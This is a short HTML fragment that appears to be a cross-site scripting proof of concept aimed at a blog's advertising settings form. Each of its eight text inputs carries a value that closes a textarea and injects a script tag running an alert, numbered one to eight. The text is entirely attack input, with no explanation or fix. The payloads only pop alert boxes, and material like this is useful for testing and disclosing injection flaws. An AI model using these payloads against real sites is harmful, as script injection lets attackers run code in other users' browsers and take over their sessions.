   <input type="text" name="Advertising_front_page" value="</textarea><script>alert(1)</script>"><br />
   <input type="text" name="Advertising_single_top" value="</textarea><script>alert(2)</script>"><br />
   <input type="text" name="Advertising_single_bottom" value="</textarea><script>alert(3)</script>"><br />
   <input type="text" name="Advertising_page_top" value="</textarea><script>alert(4)</script>"><br />
   <input type="text" name="Advertising_page_bottom" value="</textarea><script>alert(5)</script>"><br />
   <input type="text" name="Advertising_below_commentbox" value="</textarea><script>alert(6)</script>"><br />
   <input type="text" name="Advertising_blog_top" value="</textarea><script>alert(7)</script>"><br />
   <input type="text" name="Advertising_below_footer" value="</textarea><script>alert(8)</script>"><br />
